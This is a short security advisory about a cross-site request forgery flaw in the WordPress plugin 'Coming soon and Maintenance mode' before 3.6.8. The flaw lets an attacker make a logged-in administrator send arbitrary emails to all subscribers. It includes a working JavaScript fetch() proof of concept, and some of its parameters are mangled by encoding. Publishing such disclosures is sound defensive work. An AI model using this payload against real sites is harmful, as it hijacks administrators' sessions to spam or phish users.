Coming soon and Maintenance mode < 3.6.8 - Arbitrary Email Sending to Subscribed Users via CSRF

The plugin does not have CSRF check in its coming_soon_send_mail AJAX action, allowing attackers to make logged in admin to send arbitrary emails to all subscribed users via a CSRF attack

PoC

fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: “action=coming_soon_send_mail&massage;_title=title&massage;_description=description&massage;_from_name=from&massage;[email protected]”, “method”: “POST”, “credentials”: “include” }).then(response => response.text()) .then(data => console.log(data));